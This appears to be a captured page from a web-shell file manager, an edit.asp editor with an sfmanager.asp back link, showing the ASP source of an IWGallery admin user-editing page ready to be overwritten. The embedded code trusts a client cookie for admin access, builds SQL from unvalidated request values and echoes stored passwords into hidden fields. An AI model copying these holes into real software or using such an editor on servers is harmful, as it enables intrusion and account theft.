Modifica di un file

<title>Modifica di un file</title>
Modificare il file: <i>\iwgallery\admin\inc_users_edit.asp</i><br><form method=post action="edit.asp?action=save&dir=\iwgallery\admin&file=inc_users_edit.asp"><textarea name='content' style='width: 700px;' rows=20 cols=70>&lt;% If LCase(Request.Cookies(&quot;IWGalleryAccess&quot;)) &lt;&gt; &quot;amministratore&quot; Then Response.Redirect(&quot;logout.asp?reason=Accesso negato&quot;) %&gt;
&lt;!--#include virtual=&quot;/iwgallery/Connections/connIWGallery.asp&quot; --&gt;
&lt;%
' *** Edit Operations: declare variables

Dim MM_editAction
Dim MM_abortEdit
Dim MM_editQuery
Dim MM_editCmd

Dim MM_editConnection
Dim MM_editTable
Dim MM_editRedirectUrl
Dim MM_editColumn
Dim MM_recordId

Dim MM_fieldsStr
Dim MM_columnsStr
Dim MM_fields
Dim MM_columns
Dim MM_typeArray
Dim MM_formVal
Dim MM_delim
Dim MM_altVal
Dim MM_emptyVal
Dim MM_i

MM_editAction = CStr(Request.ServerVariables(&quot;SCRIPT_NAME&quot;))
If (Request.QueryString &lt;&gt; &quot;&quot;) Then
  MM_editAction = MM_editAction &amp; &quot;?&quot; &amp; Server.HTMLEncode(Request.QueryString)
End If

' boolean to abort record edit
MM_abortEdit = false

' query string to execute
MM_editQuery = &quot;&quot;
%&gt;
&lt;%
' *** Update Record: set variables

If (CStr(Request(&quot;MM_update&quot;)) = &quot;form1&quot; And CStr(Request(&quot;MM_recordId&quot;)) &lt;&gt; &quot;&quot;) Then

  MM_editConnection = MM_connIWGallery_STRING
  MM_editTable = &quot;USERS&quot;
  MM_editColumn = &quot;USE_ID&quot;
  MM_recordId = &quot;&quot; + Request.Form(&quot;MM_recordId&quot;) + &quot;&quot;
  MM_editRedirectUrl = &quot;users_listing.asp&quot;
	  If Request.Form(&quot;USE_APPROVED&quot;) = &quot;&quot; Then MM_editRedirectUrl = &quot;home.asp&quot;
  MM_fieldsStr  = &quot;USE_EMAIL|value|USE_FIRST|value|USE_LAST|value|USE_UPLOAD|value|USE_APPROVED|value|USE_ACTIVE|value&quot;
  MM_columnsStr = &quot;USE_EMAIL|',none,''|USE_FIRST|',none,''|USE_LAST|',none,''|USE_UPLOAD|none,1,0|USE_APPROVED|none,1,0|USE_ACTIVE|none,1,0&quot;

  ' create the MM_fields and MM_columns arrays
  MM_fields = Split(MM_fieldsStr, &quot;|&quot;)
  MM_columns = Split(MM_columnsStr, &quot;|&quot;)
  
  ' set the form values
  For MM_i = LBound(MM_fields) To UBound(MM_fields) Step 2
    MM_fields(MM_i+1) = CStr(Request.Form(MM_fields(MM_i)))
  Next

  ' append the query string to the redirect URL
  If (MM_editRedirectUrl &lt;&gt; &quot;&quot; And Request.QueryString &lt;&gt; &quot;&quot;) Then
    If (InStr(1, MM_editRedirectUrl, &quot;?&quot;, vbTextCompare) = 0 And Request.QueryString &lt;&gt; &quot;&quot;) Then
      MM_editRedirectUrl = MM_editRedirectUrl &amp; &quot;?&quot; &amp; Request.QueryString
    Else
      MM_editRedirectUrl = MM_editRedirectUrl &amp; &quot;&amp;&quot; &amp; Request.QueryString
    End If
  End If

End If
%&gt;
&lt;%
' *** Update Record: construct a sql update statement and execute it

If (CStr(Request(&quot;MM_update&quot;)) &lt;&gt; &quot;&quot; And CStr(Request(&quot;MM_recordId&quot;)) &lt;&gt; &quot;&quot;) Then

  ' create the sql update statement
  MM_editQuery = &quot;update &quot; &amp; MM_editTable &amp; &quot; set &quot;
  For MM_i = LBound(MM_fields) To UBound(MM_fields) Step 2
    MM_formVal = MM_fields(MM_i+1)
    MM_typeArray = Split(MM_columns(MM_i+1),&quot;,&quot;)
    MM_delim = MM_typeArray(0)
    If (MM_delim = &quot;none&quot;) Then MM_delim = &quot;&quot;
    MM_altVal = MM_typeArray(1)
    If (MM_altVal = &quot;none&quot;) Then MM_altVal = &quot;&quot;
    MM_emptyVal = MM_typeArray(2)
    If (MM_emptyVal = &quot;none&quot;) Then MM_emptyVal = &quot;&quot;
    If (MM_formVal = &quot;&quot;) Then
      MM_formVal = MM_emptyVal
    Else
      If (MM_altVal &lt;&gt; &quot;&quot;) Then
        MM_formVal = MM_altVal
      ElseIf (MM_delim = &quot;'&quot;) Then  ' escape quotes
        MM_formVal = &quot;'&quot; &amp; Replace(MM_formVal,&quot;'&quot;,&quot;''&quot;) &amp; &quot;'&quot;
      Else
        MM_formVal = MM_delim + MM_formVal + MM_delim
      End If
    End If
    If (MM_i &lt;&gt; LBound(MM_fields)) Then
      MM_editQuery = MM_editQuery &amp; &quot;,&quot;
    End If
    MM_editQuery = MM_editQuery &amp; MM_columns(MM_i) &amp; &quot; = &quot; &amp; MM_formVal
  Next
  MM_editQuery = MM_editQuery &amp; &quot; where &quot; &amp; MM_editColumn &amp; &quot; = &quot; &amp; MM_recordId

  If (Not MM_abortEdit) Then
    
	' notify user
	If CStr(Request.Form(&quot;USE_APPROVED&quot;)) = &quot;1&quot; AND CStr(Request.Form(&quot;USE_NOTIFY&quot;)) = &quot;1&quot; Then
	MailApproved Request.Form(&quot;USE_EMAIL&quot;), Request.Form(&quot;USE_NAME&quot;), Request.Form(&quot;USE_PASSWORD&quot;)
	End If
	
	' execute the update
    Set MM_editCmd = Server.CreateObject(&quot;ADODB.Command&quot;)
    MM_editCmd.ActiveConnection = MM_editConnection
    MM_editCmd.CommandText = MM_editQuery
    MM_editCmd.Execute
    MM_editCmd.ActiveConnection.Close

    If (MM_editRedirectUrl &lt;&gt; &quot;&quot;) Then
      Response.Redirect(MM_editRedirectUrl)
    End If
  End If

End If
%&gt;
&lt;%
Dim rsUsers__iUser
rsUsers__iUser = &quot;0&quot;
If (Request.QueryString(&quot;iUser&quot;) &lt;&gt; &quot;&quot;) Then 
  rsUsers__iUser = Request.QueryString(&quot;iUser&quot;)
End If
%&gt;
&lt;%
Dim rsUsers__nUser
rsUsers__nUser = &quot;0&quot;
If (Request.QueryString(&quot;nUser&quot;) &lt;&gt; &quot;&quot;) Then 
  rsUsers__nUser = Request.QueryString(&quot;nUser&quot;)
End If
%&gt;
&lt;%
Set rsUsers = Server.CreateObject(&quot;ADODB.Recordset&quot;)
rsUsers.ActiveConnection = MM_connIWGallery_STRING
rsUsers.Source = &quot;SELECT *  FROM USERS  WHERE USE_ID = &quot; + Replace(rsUsers__iUser, &quot;'&quot;, &quot;''&quot;) + &quot; AND USE_NAME = '&quot; + Replace(rsUsers__nUser, &quot;'&quot;, &quot;''&quot;) + &quot;'&quot;
rsUsers.CursorType = 0
rsUsers.CursorLocation = 2
rsUsers.LockType = 1
rsUsers.Open()
%&gt;
&lt;script language=&quot;JavaScript&quot; type=&quot;text/JavaScript&quot;&gt;
&lt;!--
function WAAddError(formElement,errorMsg,focusIt,stopIt)  {
  if (document.WAFV_Error)  {
	  document.WAFV_Error += &quot;\n&quot; + errorMsg;
  }
  else  {
    document.WAFV_Error = errorMsg;
  }
  if (!document.WAFV_InvalidArray)  {
    document.WAFV_InvalidArray = new Array();
  }
  document.WAFV_InvalidArray[document.WAFV_InvalidArray.length] = formElement;
  if (focusIt &amp;&amp; !document.WAFV_Focus)  {
	document.WAFV_Focus = focusIt;
  }

  if (stopIt == 1)  {
	document.WAFV_Stop = true;
  }
  else if (stopIt == 2)  {
	formElement.WAFV_Continue = true;
  }
  else if (stopIt == 3)  {
	formElement.WAFV_Stop = true;
	formElement.WAFV_Continue = false;
  }
}

function WAValidateEM(formElement,value,errorMsg,focusIt,stopIt,required) {
  var isValid = true;
  if ((!document.WAFV_Stop &amp;&amp; !formElement.WAFV_Stop) &amp;&amp; !(!required &amp;&amp; value==&quot;&quot;))  {
    var knownDomsPat = /^(com|net|org|edu|int|mil|gov|arpa|biz|aero|name|coop|info|pro|museum)$/;
    var emailPat = /^(.+)@(.+)$/;
    var accepted = &quot;\[^\\s\\(\\)&gt;&lt;@,;:\\\\\\\&quot;\\.\\[\\]\]+&quot;;
    var quotedUser = &quot;(\&quot;[^\&quot;]*\&quot;)&quot;;
    var ipDomainPat = /^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$/;
    var section = &quot;(&quot; + accepted + &quot;|&quot; + quotedUser + &quot;)&quot;;
    var userPat = new RegExp(&quot;^&quot; + section + &quot;(\\.&quot; + section + &quot;)*$&quot;);
    var domainPat = new RegExp(&quot;^&quot; + accepted + &quot;(\\.&quot; + accepted +&quot;)*$&quot;);
    var theMatch = value.match(emailPat);
    var acceptedPat = new RegExp(&quot;^&quot; + accepted + &quot;$&quot;);
    var userName = &quot;&quot;;
    var domainName = &quot;&quot;;
    if (theMatch==null) {
      isValid = false;
    }
    else  {
      userName = theMatch[1];
      domainName = theMatch[2];
	  var domArr = domainName.split(&quot;.&quot;);
	  var IPArray = domainName.match(ipDomainPat);
      for (x=0; x &lt; userName.length; x++) {
        if (userName.charCodeAt(x) &gt; 127) {
          isValid = false;
        }
      }
      for (x=0; x &lt; domainName.length; x++) {
        if (domainName.charCodeAt(x) &gt; 127) {
          isValid = false;
        }
      }
      if (userName.match(userPat) == null) {
        isValid = false;
      }
      if (IPArray != null) {
        for (var x=1; x&lt;=4; x++) {
          if (IPArray[x] &gt; 255) {
            isValid = false;
          }
        }
      }
      for (x=0; x &lt; domArr.length; x++) {
        if (domArr[x].search(acceptedPat) == -1 || domArr[x].length &lt; 2) {
          isValid = false;
        }
      }
      if (domArr[domArr.length-1].length !=2 &amp;&amp; domArr[domArr.length-1].search(knownDomsPat) == -1) {
        isValid = false;
      }
      if (domArr.length &lt; 2) {
        isValid = false;
      }
    }
  }
  if (!isValid)  {
    WAAddError(formElement,errorMsg,focusIt,stopIt);
  }
}

function WAAlertErrors(errorHead,errorFoot,setFocus,submitForm)  { 
  if (!document.WAFV_StopAlert)  { 
	  document.WAFV_StopAlert = true;
	  if (document.WAFV_InvalidArray)  {  
	    document.WAFV_Stop = true;
        var errorMsg = document.WAFV_Error;
	    if (errorHead!=&quot;&quot;)
		  errorMsg = errorHead + &quot;\n&quot; + errorMsg;
		if (errorFoot!=&quot;&quot;)
		  errorMsg += &quot;\n&quot; + errorFoot;
		document.MM_returnValue = false;
		if (document.WAFV_Error!=&quot;&quot;)
		  alert(errorMsg.replace(/&amp;quot;/g,'&quot;'));
		else if (submitForm)
		  submitForm.submit();
	    if (setFocus &amp;&amp; document.WAFV_Focus)  {
		  document.tempFocus = document.WAFV_Focus;
          setTimeout(&quot;document.tempFocus.focus();setTimeout('document.WAFV_Stop = false;document.WAFV_StopAlert = false;',1)&quot;,1); 
        }
        else {
          document.WAFV_Stop = false;
          document.WAFV_StopAlert = false;
        }
        for (var x=0; x&lt;document.WAFV_InvalidArray.length; x++)  {
	      document.WAFV_InvalidArray[x].WAFV_Stop = false;
	    }
	  }
	  else  {
        document.WAFV_Stop = false;
        document.WAFV_StopAlert = false;
	    if (submitForm)  {
	      submitForm.submit();
	    }
	    document.MM_returnValue = true;
	  }
      document.WAFV_Focus = false;
	  document.WAFV_Error = false;
	  document.WAFV_InvalidArray = false;
  }
}
//--&gt;
&lt;/script&gt;



&lt;table width=&quot;100%&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;box&quot;&gt; 
  &lt;tr&gt; 
    &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;&lt;table width=&quot;100%&quot;  border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
      &lt;tr&gt;
        &lt;td width=&quot;1&quot; align=&quot;left&quot; class=&quot;box-header&quot;&gt;&lt;img src=&quot;../themes/&lt;%= strTheme %&gt;/box-header-left.jpg&quot;&gt;&lt;/td&gt;
        &lt;td width=&quot;100%&quot; class=&quot;box-header&quot;&gt;&lt;a href=&quot;../admin/users_listing.asp&quot;&gt;Utenti&lt;/a&gt; &amp;rsaquo; Modifica &lt;/td&gt;
        &lt;td width=&quot;1&quot; align=&quot;right&quot; class=&quot;box-header&quot;&gt;&lt;img src=&quot;../themes/&lt;%= strTheme %&gt;/box-header-right.jpg&quot;&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/table&gt;&lt;/td&gt; 
  &lt;/tr&gt; 
  &lt;tr&gt; 
    &lt;td align=&quot;left&quot; valign=&quot;top&quot; class=&quot;box-main&quot;&gt;
      &lt;form action=&quot;&lt;%=MM_editAction%&gt;&quot; method=&quot;post&quot; name=&quot;form1&quot; onSubmit=&quot;WAValidateEM(document.form1.USE_EMAIL,document.form1.USE_EMAIL.value,'* Il campo E-mail &amp;egrave; obbligatorio e deve contenere un indirizzo valido',document.form1.USE_EMAIL,0,true);WAAlertErrors('','',true,false);return document.MM_returnValue&quot;&gt;
        &lt;table border=&quot;0&quot; align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;1&quot; class=&quot;content&quot;&gt;
          &lt;tr valign=&quot;baseline&quot;&gt;
            &lt;td nowrap align=&quot;right&quot;&gt;&amp;nbsp;&lt;/td&gt;
            &lt;td&gt;&amp;nbsp;&lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr valign=&quot;baseline&quot;&gt;
            &lt;td nowrap align=&quot;right&quot;&gt;Login:&lt;/td&gt;
            &lt;td&gt;&lt;span class=&quot;evidence&quot;&gt;&lt;%=(rsUsers.Fields.Item(&quot;USE_NAME&quot;).Value)%&gt;&lt;/span&gt;
              &lt;input name=&quot;USE_NAME&quot; type=&quot;hidden&quot; id=&quot;USE_NAME&quot; value=&quot;&lt;%=(rsUsers.Fields.Item(&quot;USE_NAME&quot;).Value)%&gt;&quot;&gt;
              &lt;input name=&quot;USE_PASSWORD&quot; type=&quot;hidden&quot; id=&quot;USE_PASSWORD&quot; value=&quot;&lt;%=(rsUsers.Fields.Item(&quot;USE_PASSWORD&quot;).Value)%&gt;&quot;&gt;
			&lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr valign=&quot;baseline&quot;&gt;
            &lt;td nowrap align=&quot;right&quot;&gt;*E-mail:&lt;/td&gt;
            &lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;USE_EMAIL&quot; value=&quot;&lt;%=(rsUsers.Fields.Item(&quot;USE_EMAIL&quot;).Value)%&gt;&quot; size=&quot;32&quot;&gt;
            &lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr valign=&quot;baseline&quot;&gt;
            &lt;td nowrap align=&quot;right&quot;&gt;Nome:&lt;/td&gt;
            &lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;USE_FIRST&quot; value=&quot;&lt;%=(rsUsers.Fields.Item(&quot;USE_FIRST&quot;).Value)%&gt;&quot; size=&quot;32&quot;&gt;
            &lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr valign=&quot;baseline&quot;&gt;
            &lt;td nowrap align=&quot;right&quot;&gt;Cognome:&lt;/td&gt;
            &lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;USE_LAST&quot; value=&quot;&lt;%=(rsUsers.Fields.Item(&quot;USE_LAST&quot;).Value)%&gt;&quot; size=&quot;32&quot;&gt;
            &lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr valign=&quot;baseline&quot;&gt;
            &lt;td nowrap align=&quot;right&quot;&gt;Data di Iscrizione :&lt;/td&gt;
            &lt;td&gt;&lt;strong&gt;&lt;%=(rsUsers.Fields.Item(&quot;USE_DATED&quot;).Value)%&gt;&lt;/strong&gt;&lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr valign=&quot;baseline&quot;&gt;
            &lt;td nowrap align=&quot;right&quot;&gt;Indirizzo IP :&lt;/td&gt;
            &lt;td&gt;&lt;strong&gt;&lt;%=(rsUsers.Fields.Item(&quot;USE_IP&quot;).Value)%&gt;&lt;/strong&gt;&lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr valign=&quot;baseline&quot;&gt;
            &lt;td nowrap align=&quot;right&quot;&gt;Accessi:&lt;/td&gt;
            &lt;td&gt;&lt;strong&gt;&lt;%=(rsUsers.Fields.Item(&quot;USE_HITS&quot;).Value)%&gt;&lt;/strong&gt;&lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr valign=&quot;baseline&quot;&gt;
            &lt;td nowrap align=&quot;right&quot;&gt;&lt;input type=&quot;checkbox&quot; name=&quot;USE_UPLOAD&quot; value=1  &lt;%If (CStr(rsUsers.Fields.Item(&quot;USE_UPLOAD&quot;).Value) = CStr(&quot;1&quot;)) Then Response.Write(&quot;checked&quot;) : Response.Write(&quot;&quot;)%&gt;&gt;&lt;/td&gt;
            &lt;td&gt;Consenti upload di immagini?            &lt;/td&gt;
          &lt;/tr&gt;
          &lt;% If (rsUsers.Fields.Item(&quot;USE_APPROVED&quot;).Value) = 0 Then %&gt;
          &lt;tr&gt;
            &lt;td nowrap align=&quot;right&quot;&gt;&lt;input type=&quot;checkbox&quot; name=&quot;USE_APPROVED&quot; value=1&gt;&lt;/td&gt;
            &lt;td&gt; Approvato?
              &lt;input name=&quot;USE_ACTIVE&quot; type=&quot;hidden&quot; value=&quot;1&quot;&gt;
              &lt;input name=&quot;USE_NOTIFY&quot; type=&quot;hidden&quot; value=&quot;1&quot;&gt;&lt;/td&gt;
          &lt;/tr&gt;
          &lt;% End If %&gt;
          &lt;% If (rsUsers.Fields.Item(&quot;USE_APPROVED&quot;).Value) = 1 Then %&gt;
          &lt;tr&gt;
            &lt;td nowrap align=&quot;right&quot;&gt;&lt;input type=&quot;checkbox&quot; name=&quot;USE_ACTIVE&quot; value=1  &lt;%If (CStr(rsUsers.Fields.Item(&quot;USE_ACTIVE&quot;).Value) = CStr(&quot;1&quot;)) Then Response.Write(&quot;checked&quot;) : Response.Write(&quot;&quot;)%&gt;&gt;&lt;/td&gt;
            &lt;td&gt; Attivo?
              &lt;input name=&quot;USE_APPROVED&quot; type=&quot;hidden&quot; value=&quot;1&quot;&gt;
              &lt;input name=&quot;USE_NOTIFY&quot; type=&quot;hidden&quot; value=&quot;0&quot;&gt;&lt;/td&gt;
          &lt;/tr&gt;
          &lt;% End If %&gt;
          &lt;tr valign=&quot;baseline&quot;&gt;
            &lt;td nowrap align=&quot;right&quot;&gt;&amp;nbsp;&lt;/td&gt;
            &lt;td&gt;&lt;input name=&quot;Submit&quot; type=&quot;submit&quot; id=&quot;Submit&quot; value=&quot;Salva modifiche&quot; class=&quot;button&quot;&gt;
            &lt;/td&gt;
          &lt;/tr&gt;
        &lt;/table&gt;
        &lt;input type=&quot;hidden&quot; name=&quot;MM_update&quot; value=&quot;form1&quot;&gt;
        &lt;input type=&quot;hidden&quot; name=&quot;MM_recordId&quot; value=&quot;&lt;%= rsUsers.Fields.Item(&quot;USE_ID&quot;).Value %&gt;&quot;&gt;
      &lt;/form&gt;
    &lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;&lt;table width=&quot;100%&quot;  border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
      &lt;tr&gt;
        &lt;td width=&quot;1&quot; align=&quot;left&quot; class=&quot;box-bottom&quot;&gt;&lt;img src=&quot;../themes/&lt;%= strTheme %&gt;/box-bottom-left.jpg&quot;&gt;&lt;/td&gt;
        &lt;td width=&quot;100%&quot; class=&quot;box-bottom&quot;&gt;&lt;img src=&quot;../images/shim.gif&quot; width=&quot;1&quot; height=&quot;1&quot;&gt;&lt;/td&gt;
        &lt;td width=&quot;1&quot; align=&quot;right&quot; class=&quot;box-bottom&quot;&gt;&lt;img src=&quot;../themes/&lt;%= strTheme %&gt;/box-bottom-right.jpg&quot;&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/table&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;%
rsUsers.Close()
Set rsUsers = Nothing
%&gt;
</textarea><br><input type=submit value='Save !'></form>[<a href="sfmanager.asp?dir=%5Ciwgallery%5Cadmin">Íàçàä</a>]